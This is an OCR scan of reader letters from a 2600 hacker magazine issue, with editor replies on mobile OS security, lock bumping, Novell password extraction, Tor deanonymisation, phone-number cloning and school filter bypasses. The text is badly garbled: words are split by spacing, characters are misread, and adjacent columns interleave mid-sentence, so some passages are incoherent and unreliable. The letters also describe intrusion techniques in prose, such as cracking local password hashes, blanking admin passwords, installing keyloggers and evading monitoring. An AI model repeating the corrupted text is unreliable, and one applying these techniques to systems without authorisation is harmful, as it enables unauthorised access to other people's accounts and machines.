wou l d  for  a Mac .  L i ke the MdC, not on ly  a re 
there very few v i ruses ou;  there but  the sma l l  
user base mil kes a n  "oulbreak" u n l i ke l y  at t h i s  
p o i n t .  Toby does ment ion t h e  futu re be i ng of 
" a l ways connected" devi ces, a n d  wi th  more 
a n d  more ,ldva n ced b rowsers with  J ava Glpa­
b i l i t ies ,  i ndeed this i s  a l i ke l y  th reat in the next 
couple of years .  

At th is po i nt ?  The potent i a l  i s  there, but 
l a rge ly  i t  i s  j ust th at, potent i a l .  Cu rrent  mob i l e  
v i ruses a re a k i n  t o  t h e  o l d  ones Ihat  re l i ed on 
f lopp ies or  "snea kernet" to spread from one 
mach i n e  to a nother. I n  a sense i t 's t h e  l ate BOs 
- t i m e  w i l l  move on,  b U I  w e  a re not  there yet. 

Wgoodf 

Dear 2600: 
Long t i m e  reader, newish  I i fet i m e  subscr i ber. 

J ust wr i t i ng  to c lear  up a b i t  of m i s i nformat ion 
from the a rt i c l e  "Mob i l es Devi ces - Cu rrent 
and Future Sec u r i ty Th reats" by Toby Z i m merer 
from 2 3 :4 .  

I n  the a rt i c l e  he  stated that the mob i l e  device 
smartphone OS "Sym b i a n "  i s  a l i ghtweight  
d i st r ibut ion of L i n u x .  Th i s  i s  abso l ute l y  wrong.  
Sym b i a n  i s  the c u rrent vers i o n  of the E POC 
OS, deve l oped by Ps ion Ltd . for the i r  ra nge of 
mob i le devi ces (such as the Ser ies 5 m x, Revo, 
a n d  Ser ies 7), w h i c h  they so l d  to the Symbi a n  

group (a cooperat ion  of compa n i es such as 
Nokia,  Sony E r i csson ,  a n d  Motoro l a )  who u sed 
i t  as  the base for t h e i r  own s m a rtphont' OS's. 
Symb i a n  itself is not a usea b l e  OS, m u c h  l i ke 
C N U/L i n u x is not d i recl ly  usea b l e  w i l h o u t  a l l  
the userspdce d pp l i cdt ions  that  m d ke u p  ')0 
perct�nt of a d i st r ibu t ion ;  Sym b i a n  p rovides 
the kernel a n d  fra mework from wh i c h  10 b u i l d  
a fu l l y  ro u nded mob i le  devi ce/s m cl rtphone 
d i st r ibut ion .  

The  Iwo ma in  d i sl r i b u l i o n s  bZlsed on 
Sym b i a n  a re Scr ies 60 and U I Q, by N o k i a  
d n d  S o n y  Er i csson n'spect ive ly. An honorab le  
menl ion  a l so goes to Ser ies '10 ,  a l so by Nok ia ,  
w h i c h  uses Illore of  the user  i n lerfa ce frorn the 
or i g i n a l  Ps ion E Poe devi ces, due 10 i ls use on 
"pa l mtop" d('v i ces such as t lw Nokii1 Clmmu­
n i ca lor ser ies  of hybr id  mob i l e  pho lw/p,l l mlop 
computers. 

Another honor ab le  rnent ion goes 10 I h e  
N o k i a  7 7 0  a n d  NB()O I n lernel Ta b l et corne 
pa l mtop computers, which actua l l y  do run 
d iJeh i i m  L i n ux h,lsed d i st r i but ion c a l led 
Maemo (miwmo.org), bul run a ported il n d  
upda led vers ion  of Ihe !'s ion  [ !'oe: user i n ler­
fdce, ci u hlwd H i l d o n .  

f o r  a nyone i nteresled i n  I h e  wide ra nge of 
rnob i l e  device OS's, a n d  of cou rse t h e  m,lI l Y  
issues su rrou n d i ng t h e m ,  t h e n  the I n ternPl of 
course ho lds  m u c h o  i nfo as  Symb i a n  i n  i t se l f  
prescnls  many sec u r i ly p rob lems compa red 
w i t h  Wi ndows Mob i l e  a n d  mob i l e  L i n ux d i s t r i ­
bu t ions, due  to a n  object fra mework Ihat has 
been b u i l t  u p  m a i n l y  of hacks upon hacks, a n d  
a n  obfuscated l ow l evel sockets l ilyer. 

Wesley 

Dear 2600: 
Bciore I attem pted 10 construci my own 

ske leton key ( 2 4 : 1 ) , I thought I wou l d  do the 
math on m y T I 3 0  X, a sc ient i fi c  c a l c u l iltor. S/\,) 
= 1 , 9 5 3 , 1 2 5 .  H owever 9/\5 cc 59,049.  Perhaps 
you r  editor s h o u l d  i nvest $ 1 5  i n  a s c i ent i f ic  
c a l c u l a lor before the next pub l i ca t ion .  Other 
them that I l ove you r magaz i ne .  Keep up  the 
good work .  

Short Blonde 

Dear 2600: 
Many t h a n ks for you r  superb maga z i ne, 

wh ich  I have read for decades as  a l a psed m,l th­
emat i c i a n  a n d  ex-programmer. As a locksmith 
a n d  ha rdware s u pp l ier, I read " H a c k i n g  You r  
Own Front Door" (2 4 : 1 ) w i t h  i nterest. I helve 
some comments, correct ions, and com p l a i nts .  

The a uthor  (C l i ff) has  l i m i ted but  successfu l 
exper ience i n  key b u m p i n g  a n d  he has  wr i tten 
an i l l u m i nat i ng but  factu a l ly  h a zy account  of 
the tec h n ique .  To h i s  c red i t, his descr ipt ion 
m ight  a l l ow a reader to perform the open i ng 
tec h n i q ue, as wel l  as to u ndersta nd how a 
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p i n  tumb le r  cy l i nder works ( i n  rea l ly genera l 
terms) ,  but  h i s  cheery rend i t ion  fa i l s  to i nd i ­
cate t h e  m a n y  poss i b l e  p i tfa l l s .  I n  add i t ion ,  h i s  
term i no l ogy i s  confu s i n g  a n d  fa nc i fu l .  

There a re many webs i tes that can  prov ide 
the i nd u stry sta ndard terms for lock pa rts, so 
we a l l  know what the he l l we're refer r ing  to . 
C l i ff makes up a whole l ot of terms ( i n  fact, 
h i s  ent i re secon d  paragraph is mea n i ng l ess) 
when he cou l d  s i m p l y  have wr i tten ,  " P i n  
tumb le r  cyl i nders a re used i n  m a n y  types of 
l ocks, so you shou l d  learn th i s  tech n i q ue." 
C I  iff's references so l e l y  to Ya I e  and Chubb 
i n d icate a B r i t i sh  b i a s .  P i n  tumb ler  cy l i nders 
a re m u c h  more common i n  the U . S.  than  i n  
G reat B r i ta i n , with  many more man ufactu rers 
and keyways in use.  Each of these req u i re the i r  
own b u m p  key t o  enter t h e  part ic u l a r  keyway 
you come across.  

The too l compa n ies that make bump keys 
a l so m a ke very prec i se h a m mers, rather than 
us ing the back of  a screwd r iver. I 've had 
success with  the back of a sc rewd r iver  myse l f, 
so maybe the h a m mers a re over the top, but  i f  
you do th is  for a l iv i ng you buy the best  too l s  
y o u  can for pred icta b l e  res u lts .  

The m a k i n g  of a bump key req u i res a certa i n  
a m o u nt of prec i s i o n .  Spac i ng a n d  depths a re 
cr i t ica l .  C l i ff's descr i pt ion  is vague at best and  
h i s  dec l a rat ion that  cy l i nder p ins  h ave "usua l ly 
n i ne pos i t ions  a l o n g  the i r  length"  i s  j ust not 
the case.  Some depth systems u se 0-9 (ten 
depths) ,  some use 1 -6, a n d  there a re a few 
others, but  usua l l y you can 't cut  a key with  
the h i ghest cut  next  to the l owest due to the 
req u i red angle of the cut, so a l l  com b i nat ions 
a re not phys ica l l y  poss i b l e .  So h is  "91\5"  f igure 
(pr i nted i ncorrect l y  as 5 1\9)  is a b i t  fa n c i fu l .  A 
five-p i n  cy l i nder genera l l y  has  about 7,000 
poss i b l e  keys . As for bump keys,  none of that 
matters at a l l  as  the bump key i s  cut  to the 
lowest offi c i a l ly-a l lowed cut  in  each space 
rega rd less of the poss i b l e  n u mber of other, 
h ig her, keys. I n  add i t ion ,  genera l l y  the bump 
key  gets i ts shou lder  fi l ed back maybe 0 . 0 1  0"  
so i t  can  be tapped i nto the cy l i nder a b i t  
further than  where the p i n s  a re seated over the 
key cuts and the key norma l l y s i ts .  Cut a n g l es 
a n d  bottom w i dths  can vary too, depe n d i n g  on 
m a n u factu rer a n d  keyway. 

B u m p i n g  a cy l i nder open is not the same 
as h av i ng a master key.  I t 's a f ine-honed tech­
n i que  that works  when i t  works .  How wou l d  
y o u  l i ke t o  have t o  perform that de l  i cate oper­
at ion every t ime you came home? I t's fi ne  to 
p u b l i c i ze the i r dangers (and poss i b i l i t ies) but 
l et's not consider bump keys a " master key" 
to every lock in the wor ld ,  even j u st the p i  n­
tumb ler  ones they can work on. They're a 
da nger for those who th i n k  they're protected, 
and a usefu I too l for those who wish access to 

poor ly-protected a reas, but  they're no magic 
wa n d .  They take work,  ta l ent, a n d  a l ot of  prac­
tice to use successfu l l y. 

F i n a l l y, the so l ut ion  to keepi n g  c rooks from 
" b u m p i ng" you r  l ocks open is to buy h igh­
sec u r ity cy l i nders .  Medeco, Ab l oy, Sch l age 
P r i m us,  Corb i n  Russw i n  Pyra m i d, a n d  a bunch  
more can 't be bu mped . They  say  M u l -T- Lock 
sta n d a rd cyl  i nders can be and I u nderstan d  the 
theory but  I can 't test ify to i t .  Most t h i eves j ust 
try to break o r  pry open you r  door. I f  you l ive 
in an apartment, phys i ca l l y  protect you r  front 
door, secondary door ( i f  you h ave one) ,  a n d  fi re 
escape w i ndow. I f  you l ive i n  a house, do a l l  
that a n d  get a n  a larm syste m .  A n d  put a h igh­
secu r i ty cy l i nder on at l east the one strongest 
lock on each door. Key 'em a l l  a l i ke (when d i d  
you ever l ose j ust one key? )  u n l ess y o u  wa nt to 
rest r ict access to d i fferent peop le .  

C l i ff d i d  a f ine  job as fa r as  he  went, a n d  i t's 
great that he a i red t h i s  cu rrent ly  hot top i c  i n  
2600. But  it 's i m portant to get the facts stra i ght .  
I h ave fo l l owed you guys from phone issues 
i nto e l ectro n i cs, software, and e l ectro n i c  h a rd­
ware,  but  you r  phys i c a l  sec u r i ty a rt i c l es h ave 
stu m b l ed a b i t .  They a re often j ust not up to 
you r  sta ndards .  Put out potent ia l  a rt i c les for 
rev i ew i n  a reas you don't k now, maybe. 

For more o n  th i s  top ic ,  Goog l e  Matt B l aze, 
" b u m p  keys", National Locksmith Magazine 
a n d  Locksmith Ledger, then fo l low t h e i r  l i n ks 
as you w i s h .  Th i s  stuff a i n 't secret - i s n 't that 
a m a z i n g ?  

NYC Locksmith 

Dear 2600: 
I was j ust read i n g  2 3 :4 a n d  fe l t  the need 

to respond to the a rt i c l e  " F u n  wi th  N ove l l"  
by Cron i c l 3 .  To recap:  Nove l l  stores its pass­
words q u ite sec u re l y  but  the eas iest way for 
it to i n teract with XP is to c reate a l oca l user 
(with the same name a n d  password as the 
Nove l l  one)  a n d  log i n wi th  that one.  I f  you 
have access to the computer you can  get the 
usernames a n d  encrypted passwords off the 
computer a n d  r u n  a password c racker on i t  to 
get the p l a i ntext. 

N ow from the N ove l l  ad m i n i strator's po i nt 
of v i ew there i s  a very easy way to m i n i m i ze 
the da mage th i s  causes a n d  it's c a l led "vo la ­
t i l e  users." Th i s  mea ns  that  the user  c reated by 
Nove l l  on log i n is de leted by N ove l l  on l ogout .  
I f  th is  i s  set u p  then the only usernames and 
passwords you wi  I I  get wi  I I  be for those peop le  
who d id  not  log out proper ly  for one reason 
or a n other. There a re a few obsc u re i n stances 
where u s i n g  vo lat i l e  users breaks someth i n g  
that m a y  b e  deemed i m po rta nt s o  that m a y  be 
the case for the school in the a rt i c l e  (or i t  cou l d  
be a case o f  d u m b  adm i n i strators as  the a uthor 
says ) .  
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But of course there is a l so the local adm i n ­
i strator password stored a n d  retrieved i n  the 
same way. I f  you get this you don ' t  automati­
ca l l y  have any extra r ights on the Nove l l  s ide 
of th i ngs (as a nyone with any sense wi l l  make 
th i s  password d ifferent from the i mportant 
Nove l l  ones) but you can i n sta l l  a key l ogger 
etc. to get the usernames and passwords of 
anyone who l ogs in after you .  

Th is  i s  a l ot o f  effort to g o  t o  j u st to get the 
adm i n i strator password for the l oca l  mach i ne 
if you don ' t  have to. If you have enough access 
to get the SAM (where the passwords are 
stored) you probab ly  a l so have enough access 
to just b lank  the adm i n istrator password us ing 
a boot d isk  i f  you don ' t  want to wa it for the 
password to be decrypted and you don ' t  th i n k  
t h e  password change wi l l  detected. 

Aga i n  the adm i n i strators can m i n i m ize the 
i mpact of this by not a l lowing the "Workstation 
On ly" t ickbox to appear on the Nove l l  logi n 
page mean ing  that you must logi n to Novel l .  I f  
th is  is  the case then it's probably not worth the 
effort of gett ing the adm in i strator password or 
even b lank ing  i t  as you can ' t  use it .  

Gett ing around th is  i s  harder but not 
imposs ib le .  With a wel l  des igned WindowsPE, 
BartPE, or L i n u x  boot CO you can read and 
write fi les, ed it the regi stry, etc . to  you r  heart's 
content which ,  if  a l l  e l se fa i l s, a l lows you 
to manua l l y  i nsta l l  you r  software one fi le  or 
regi stry entry at a t i me. 

As a lways, i f  the attacker has phys ica l  
access to  the mach i ne then by defi n it ion i t's 
not secu re. I wou l d  th i n k  however that th i s  
sets the  bar  h igh enough (parti cu lar ly  if the 
mach i nes are re i maged twice a year as i n  
the art ic le) that its suffic ient secu rity from the 
network adm i n i strator's point of v iew and from 
the attacker's poi nt  of v iew i t's a lot of work for 
very l i tt le ga i n .  But  sti l l  i t's enough of a cha l ­
lenge that  the hacker wi I I  attempt i t  j ust to see 
if they can do it .  

On the subject of why the adm i n i stra­
tors don 't give access to nwsend for i ntranet 
i nstant messag ing it may be that they tried it a 
decade ago (as I d id )  and dec ided to never use 
i t  aga i n .  At that time i t  had a relative ly  s imp le  
GUI  i nterface but was very poorly des igned. It 
may have changed s i nce then but as I haven ' t  
used it  after a br ief dabble a decade ago I ' l l  
descr ibe how i t  was. 

I t  was qu i te s imp le: a scro l lab le  l i st box 
of users and groups you h igh l ighted to send 
the message to, below that a p lace to put your  
message, and to  the  right of  that a send button .  
Can ' t get much  s impler, right? U nfortunate ly 
you had to choose the users to send it to after 
you wrote your  message. If you selected them 
fi rst i t  wou l d  deselect them when you started 
writ ing you r  message and if  you pressed the 

send button with no users selected i t  sent it  out 
to a l l  users ! 

You can i magi ne that after a few i n stances 
with everyone being sent messages ( in ter­
rupt ing c lasses and tests i n  schoo ls, etc .), the 
network adm i n s  - who know how poi nt less 
it  i s  try ing to tra i n  users, part icu lar ly  the tran­
sient ones l i ke students - dec ided that it  was 
easier not to use it and, i f  the functiona l ity was 
needed, to use a rea l 1M c l ient. 

Pat 

Response to Letters 
Dear 2600: 

I 'd l i ke to comment on B reto ' s  i nformation 
about the Austra l i an  e lectora l system (24: 1 ) . 
The voters a re i ndeed not asked for any form 
of identification, and that ' s  for a good reason :  
there is  no compu l sory 1 0  i n  Austra l i a .  And the 
right to vote to help e lect Austra l i a ' s  govern­
ments is  not only an  u nden iab le pr ivi lege 
but a l so a duty. That is, those who don 't  vote 
without a good reason ( l i ke bei ng overseas) are 
f ined. 

That is  why vote theft doesn ' t  happen . 
If someone turns up at the pol l i ng stat ion to 
vote u n der an assu med identity, there are a l l  
chances the gen u i ne voter wi l l  a l so cast a vote. 
The col l i s ion w i l l  resu l t  in the fraudu lent vote 
being d i scarded . 

There are more deta i l s  to that.  But  appar­
ent ly the system with checks and ba lances 
and without compu l sory c i t izen 10 i s  ent irely 
poss ib le .  

S. Pidgorny 

Dear 2600: 
I read the letter by Marxc2001 in 2 3 :4 

about the vu l nerabi l ity of Tesco self serv ice 
checkouts req u i ri ng no authentication with 
i nterest as I had a l ready noted th i s  vu l ner­
abi  I ity myse lf. 

I thought you m ight l i ke to know that I 
used one myself  yesterday for the fi rst t i me i n  
some weeks a n d  d i scovered i t  had now been 
equ ipped with P IN  i nput. So that weakness at 
least has been c losed . 

Hennamono 

Dear 2600: 
In response to A.  Saboteur ' s  letter (24: 1 )  

about techn iques i n  concea l i ng o n l i ne 
browsing  habits and send ing  ema i l  anony­
mously, I th i n k  a l l  you r  readers shou ld  u nder­
stand that there are ways that the TOR system 
can be c i rcumvented . A wh i l e  back I wrote 
an art ic le that was publ ished in 2600 about 
us ing TOR. After that art ic le I began to wonder 
i f  there were ways to expose someone 's  true 
I P  even if  they were using TOR. The answer is 
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yes, there a re ways. If A. Sabote u r  v i s ited a s i te, 
say a webs i te run by the F B I ,  and on  that s i te 
Sabote u r ' s  b rowser dow n l oaded a spec i a l l y  
crafted J ava app let, that  J ava app let c a n  bypass 
Sabote u r ' s  TOR con nect ion,  thereby expos i ng 
the rea l  I P  address Saboteu r  i s  u s i ng to the 
F B I ' s  web server. There a re other  ways as  wel l 
a n d  I i nv ite you r  readers to read more at 
http : / / uk . geoc i t i e s . com/ o s in1 9 4 1 /  
-expo s ingt o r . html . 

To s u m  up,  to m a ke browser/ema i l  s u b m i s­
s ions  more pr ivate, you shou l d  cons i der these 
t ips :  

1 .  Don ' t  use a J ava-enab led browser or  
d i sab le  J ava wh i le us ing TOR.  

2 .  Set  all proxy protoco l s  (ftp, h ttps, etc . )  to  
the same proxy sett i n g  as  http, even i f  you ' re 
not go i n g  to use them . 

3 .  Be para n o i d  of webs i te l i n ks that may 
h ave been ema i l ed to you, espec i a l l y  i f  you 
a re u s i ng Wi ndows. 

OSI N  OSI N  

Injustice 
Dear 2600: 

H e l l o, fi rst off I j u st wanted to say I l ove 
you r  mag.  Keep up the  good work a n d  I l ove 
l i sten i n g  to Off The Wall. What an exce l l ent 
program .  I came across somet h i n g  i nterest i ng 
at my job .  Work was s low so I decided to ta ke 
a l i tt l e  peek at  the Hope N u m ber 6 a u d i o  f i les  
so I wou l d  h ave someth i n g  i nterest i ng to l i sten 
to on  t h i s  bor i ng  day at  work. When I went to 
the H O P E  N u m her 6 webs i te it was b l oc ked 
say i ng it was " I l l ega l or Quest ionab le . "  But  
that's not what th rew me off. What confused 
me was that a warez s i te was not blocked. 
How is a warez s i te not " i l l ega l or q uest ion­
a b l e" but  the H O P E  s i te i s ?  I t  rea l l y  beats me. 
J u st goes to s how you how these compa n ies 
a re b lock ing the good webs i tes but  a l l ow i ng 
the wrong. 

XiverOm 
This is always going to be a problem if 

people rely on settings determined by other 
people who often have little idea what 's going 
on. There have been many instances where 
nobody seems to know what  to do in order 
to change the defa ults which, for wha tever 
reason, often include us. The flipside to this 
is tha t it becomes as much a mystery when 
trying to add sites to the list. In the end, local 
and intelligent control is essential if systems 
are going to use blocking software in the first 
place. 

the con nect ion has reset. I do not th i n k  the 
router has done th i s  but  rather the b l oc k i n g  
program .  A r e  there any  e a s y  h a c k s  or web 
too l s  for someone who has no  u ndersta nd i ng 
of code of any  k i n d ?  

A l so, i s  there a group o u t  there w h o  hack 
in  the sp i r i t  of common good or in  the name 
of  o u r  cou ntry the U SA? I mean are there or 
h ave you heard of a nyone that has  had hacked 
bank accou nts, servers, webs i tes, and such i n  
the  M i d d l e  East that s upport terror i st groups or 
d ictators h i ps ?  I wou l d  th i n k  that there wou l d  be 
peop l e  out there.  I 'm j ust wonderi ng  because 
th i s  wou l d  be a great story to te l l .  

Barron 
50 on the one hand you 're upset tha t  

someone has decided t o  control your access 
based on who and where you are while on the 
other hand you 're interested in learning how to 
disrupt the activities of others on the net based 
on who you believe they are ?  How do you 
propose concluding whether or not someone 
deserves to be taken off the net or otherwise 
attacked? Your opinion ? Someone else's?  Wha t  
your government tells you ?  This i s  n o t  wha t  
hacking is about. Wha t  you 're interested i n  is 
doing the bidding of one group of people in 
order to defeat another. This is wha t  the mili­
tary does. And every time something conten­
tious happens in the world, members of our 
military try to get hackers involved in the fight 
for their version of justice. By even considering 
such requests as legitimate, we tarnish wha t  
hackers have always stood for which i s  free 
and open access to thoughts, ideas, and tech­
nology. People are free to do wha t  they want  
on their own or as part of some other orga­
nization but please don 't assume hackers are 
about to become another branch of anyone', 
military. 

Dear 2600: 
I j u st wanted to say how horr i b l e  I th i n k  

t h e  U . S .  Posta l  Serv ice  i s  treat i n g  you .  Here 
you she l l  out ser ious  money ( not to ment ion 
add i ng fat  profits for the bastards) and  the 
"grat i tude" you get  for b e i n g  a good customer 
is t h i s  treatment where they " l ose" you r  i ssues 
a n d  nobody w i l l  g ive you a n  a n swer as to 
where they a re or what  h appened to them.  
(Do we rea l l y  be l ieve that  they don't know t h i s  
w i t h  a l l  the computers a n d  tra c k i n g  codes they 
h ave?) So much for "warra nty" or "customer 
sat i sfact ion . "  Obv ious ly  u n heard words in the 
posta l "serv ice . "  A l l  we get a re price i n c reases 
and vo i d  warra nt ies .  ( I  l ow long wou l d  pr ivate 

Dear 2600: compa n ies stay in bus i ness with t h i s  k i n d  of 

My loca l l i ha ry has tu rned i nto a naz i  d i cta- "po l i cy?" )  

tors h i p .  They j ust put  on  a b l ocker progra m You sho u l d  be a b l e  to s u e  them a n d  get you r  

ca l led Web B  locker. I ' m  u n a b l e  t o  down load money back for th is  s i nce you did not receive 

from a free gam i ng s i te. It g ives an error that  the a i rma i l  de l ivery you pa id  for. Sad l y  I m ight 
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add that I get about the same treatment here i n  
Norway from o u r  posta l "serv ice . "  Often pack­
ages a re m i s l a id,  u nde l ivered, lost, or  i nsanely 
del ayed for no reason other than pure harass­
ment of customers i t  seems. I am not the o n l y  
customer treated t h i s  way s o  it 's not j ust the 
U . S . that wants to crap out with posta l prob­
lems.  Th i s  kind of harassment "serv i ce" seems 
to be the norm for many such ent it ies .  

Kristian 
Fortunately our last issue went  out without 

problems, domestic or overseas. We 're thankful 
to those people within the postal  system who 
took an interest when this major foul up came 
to their a tten tion . We hope this puts an end to 
these problems. 

Observations 
Dear 2600: 

I am writ i ng you today to share an i nterest ing  
experi ment I d i d  i nvo l v i n g  SMS messag i ng.  I 
had an u n used S ierra Wi reless 5 5 5  card that I 
u sed to use for data . I was ab le  to convi nce my 
w i re less carr ier to g ive me the access code so 
that I cou ld  get i nto the setup men u .  I changed 
the phone n u m ber associated with the S ierra 
W i re less 5 5 5  card to match the phone n u m ber 
of my regu la r  cel l phone. I then had a fr iend 
send me a n  SMS message and i t  appeared on 
both my su bscri bed ce l l  phone and this u nsub­
scr ibed S ierra Wi reless card. The network I d id 
th i s  on i s  a 1 RXX CDMA2 000 prov ider. 

FeTuS in MN 

Dear 2600: 
I j ust purchased the l atest spri ng i ssue of 

2600. The tota l of the mag p l u s  tax came to 
$ 6 . 66, on Good Fri day no less. I i nc l uded a 
scan of the sales rece i pt .  

Randall 

of computers? N ow don ' t  get me wrong, I now 
know my way around a computer pretty wel l ,  
b u t  then I o n l y  h a d  a rudi mentary knowledge 
of computers outs ide of us ing the I n ternet and 
MS Word. 

The computers at my h igh school were 
networked with Nove l l  software a n d  were 
protected and moni tored with a program ca l led 
Net Su pport P l u s  (or Pro, I ca n ' t - remember), 
which my computer progra m m i n g  teacher (who 
was terr i b l e) so fond ly  referred to as h i s  "God 
Software . "  For those who are u nfam i l ia r  with 
the program, its pr imary funct ion is to serve as 
k ind  of a "secur i ty camera" to the computers 
attached to the network. I t  bas i ca l l y  l ets you 
see an i nd iv idua l ' s  desktop, mon itor what they 
are do ing/access i ng, and take control of the i r  
mouse/keyboard. A l l  i n  a l l  i t ' s  a pa i n  i n  the 
neck for any self- respecti ng s l acker such as 
myse lf who had noth i ng better to do in c l ass 
but search the l atest YouTube v ideo or f ind a 
rev i ew on the l atest Xbox ga me. I thought i t  
was i m portant but my teacher d i d n ' t  see eye 
to eye and often took over my computer and 
c l osed me out of  whatever I was doi ng, j ust to 
prove a poi nt. 

We l l ,  I got t i red of that happen i n g  so I 
sta rted look i ng for ways I cou l d  j ust overr ide 
that program .  I t  had been my experience in the 
past that every progra m had a back door and I 
was s u re that th i s  one was no except ion .  So I 
started go i n g  through the ru n n i ng processes i n  
Task Manager and,  j ust by tr ia l  a n d  error, fou n d  
t h e  process that ra n NSP on my computer. 
After term i nat ing the process, however, a l l  
the adm i n i strator had to d o  was reboot the 
program and I was u nder lock aga i n .  

The sol ut ion came to m e  wh i le I was at 
home that n ight. I recently i nsta l led a game 
on my computer and when I was try i n g  to 
p l ay i t  o n l i ne W i ndows F i rewa l l  had a h i ssy 

Dear 2600: fit and asked me if  I wa nted to a l low i t  access. 
I got a n i ce chuck le when the $6 .25  cover I then had a theory to go on and the next day 

price and $ 0 . 4 1  sa les tax on you r  z i n e  came at school I tr ied it .  Sure enough, the morons 
out to $6 .66 .  Mark of the beast, baby. Roar. i n  the tech department d idn ' t  lock down 

ThriLL Wi ndows F i rewa l l  so a l l  that I had to do was 
Orlando, Florida disa l low a l l  except ions and no outs ide sou rce 

Apparently this is happening in a number cou ld access my computer. 
of sta tes tha t  charge tax on publica tions. Ours To cut a long story short, the next th i n g  
isn 't o n e  of them so we honestly had no idea. I knew I had the computer teacher recom-
Honestly. men d i n g  me for a job i n  the tech department. 

I ,  of cou rse, dec l i ned the offer but i t  k i n d  of 
Dear 2600: made me wonder why they pay these people 

I s  it  j ust me or are h igh school computer good money to do jobs that the teenagers they 
tech n ic i a n s  less and less com petent as t ime are try i n g  to control cou ld do better. I mean ,  it  
goes on?  I j ust graduated, c l ass of 06, and I was o n l y  a matter of t i me before they started 
made it my persona l  m i ss ion  to get by every b lock i ng certa i n webs ites and I was gett ing  
fi rewa l l  and  b l ock that  they had up.  Why i s  a round them w i t h  proxy servers and then 
i t  that I cou l d  overcome these tra i ned tech n i - h a d  other students ask ing m e  how they cou ld 
c ians and a l l  of  the expens ive software they ra n access MySpace and whatnot from the schoo l .  
without even a grad uate level u ndersta n d i n g  I th i n k  they either need t o  h i re better tech n i -
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cians or j ust give up a l together. It wou l d  have 
made my l ife that much easier. 

Tha n ks for l i sten ing to my rant. 
OJ Walker 

Sounds like they at least tried to hire 
someone better. Maybe part of the problem is 
finding competent people who actually want 
to work for them. 

Dear 2600: 
I fou n d  th i s  by accident: 1 -866-499-7878. I 

was try i ng to d ia l  C i ngu la r/AT&T ( 1 -866-499-
7888). Anyone know what i t  i s ?  

justin 
We're not sure if this is the same thing as 

when you dialed it but we heard a very verbose 
error message which gave all sorts of info in 
addition to the number dialed, such as "server 
media, " "card, " "port, " and "channel. " Why 
anyone needs all of this info is definitely fodder 
for discussion. 

Dear 2600: 
I am not a cybergeek, nerd, hacker, or 

gen i us. I f  anyth i ng, I am a hack, no more or 
l ess. 

I grew u p  watch ing  my dad, a science 
writer, write freelance arti c l es and an ent i re 
book on a Smith Corona Selectric I I I .  He then 
used one of the fi rst dedicated word proces­
sors (was it a KayPro?) with an 8k d isk  dr ive, 
a b lack on b l ue n i ne i nch CRT, and Diab lo 
pri ntwheel -based pr inter, then a NorthSta r CPI 
M mach i ne, and from there consu mer-based 
PC models .  H i s  pass ion for gadgets wasn't lost 
on me, though I sti l l  keep a fou nta i n  pen and 
sma l l  notebook on me at a l l  t i mes. 

My exposu re to programming  was br ief. 
Though I was one of th ree students selected for 
experi menta l  computer programming  in 1 979 
- us ing  a Texas I n struments TI-99 4/A to learn 
lOGO and BASIC  - I am today basica l l y  a PC­
then-Mac end-user. I never rea l l y  got inside of 
the mach i ne.  

That said, more than ha l f  of th i s  magazine 
goes r ight over my head . I occas iona l l y  read and 
don't u nderstand the progra m m i ng language 
or engineer ing d iagrams that enhance and/or 
d i smant le systems for one reason or another. 
But  I l i ke what they poi nt  to: greater potenti a l  
for systems and i nherent ly the i ndefatigable 
nature of h u man cur iosity and i n te l l ect. 

What I l earn from 2 600 i s  i nva l uable:  
Systems are fa l l ib le  and weaknesses need to be 
exposed i n  order for the system to i mprove. 

I t 's i nsp i r i ng when the art ic les take on a John 
Henry style  story of H uman vs. The I n human,  
where i n  The Hacker active ly engages a system 
devel oped at a l ower level and i nvites it to a 
h igher l evel of function by descr ib ing/admit­
t ing the strengths of said system and exp loit ing 
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i ts weaknesses. The Hacker, u n l i ke John Henry, 
l i ves to see another day, buoyed by the res i l ient 
effort of succeedi ng, aga in ,  at besti ng someone 
else's i nvent ion.  Knowledge i s  power. 

It's a pure form of a des i re for freedom i n  a 
society which seems a l l  too frequently a n  i nv i ­
tat ion to sel l ourselves short or succumb to our  
weaknesses. 

Hackers by defin it ion are l i ke modern 
day Harry Houdi n is, escaping shackles yet 
revea l i ng the tricks so nobody feel s  they have 
to stay sunk  by any system designed to l im i t  
i nte l l i gence or d ign i ty. 

What I l i ke about hacki ng, as it oper­
ates on a l l  leve ls  from l ight soc ia l  hacks to 
deep programming or the re-engi neer ing of 
consumer devices to better serve our ind i ­
v idua l  needs, is  that i t  i s  basica l ly a matter 
of constant ly and i ntel l igently p lac ing m i nd 
as k i ng over th i s  wor ld of l i m itat ions. The 
hacker i s  l i ke Sh iva, the Destroyer of I l l us ions, 
engagi ng the wor ld of constant  change. You 
are the part of the cosmos that penetrates and 
bri ngs h igher order. You are the br i nger of l i ght, 
or knowledge, to ignorance and oppress ion .  

I ndeed, technology ought  to serve 
human ity, even to the extent that Ku rzwei l i n  
The Age o f  Spiritual Machines outl i nes i n  the 
advancement of human i ty through the merger 
of eventua l  mach i nes more powerfu l than our  
massive ly  para l le l  b io logica l  supercomputer 
m i nds.  

The hacker is a constant express ion of that 
idea l .  

There must a lways b e  a p lace for rev iew 
of technology, a p lace where it is abso l ute ly  
humb led i n  the face of  h u man ity. I adm i re 
2600 for i ts courage and in te l l igence i n  stay ing  
afloat despite government i ntrus ion on the i r  
efforts . 

U lt i mate ly  the hacker is engaged i n  a 
competit ion, through techno logy, aga inst other 
tech nologica l l y  savvy people .  

Hacking as a concept ought to be 
embraced by soc iety as an  out let for growth 
and change, part of every th i n k ing  person 's 
too l k i t  as a mode of self-express ion .  I ndeed, 
every person in a democracy ought to posit ion 
i n  the i r  consc iousness as a point  of i nsp i ration 
for overcoming l i m i ts, push i ng for yet fu rther 
freedom.  I t  ought to become a concept held by 
every i nd iv idua l  who seeks freedom for them­
se lves and others . I t  ought to be regarded as a 
tool of the art i stry of the i nd iv idua l ist, referred 
to as needed, uti l i zed wisely. 

It seems a good avocation for those coura­
geous few who are wi l l i ng to forgo the i r  born 
identit ies (no pun i ntended) to assume a "hack 
name" and r isk persona l  pun i shment in order 
to expose broken systems at a l l  levels, or to 
escape oppreSS ion, or to fi re a shot across 
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the bow to a rrogant author it ies .  N ever doubt 
the ser iousness of the ro le you p l ay at th i s  
cruc i a l  t i m e  i n  h i story. B u i l d th i ngs t h a t  keep 
peop le safer, sma rter, or even mere ly  a m u sed . 
Bewi lder the u n i ma g i n at ive, a n d  i n s p i re the 
f lame- l i ke i magi nat ion of the cur ious .  

And a bove a l l ,  care for  you rse l f. Don't 
expose yourself to h a rmfu l r i sk wh i le carry i ng 
out you r  work.  Don't i so l ate. Keep fr iends .  
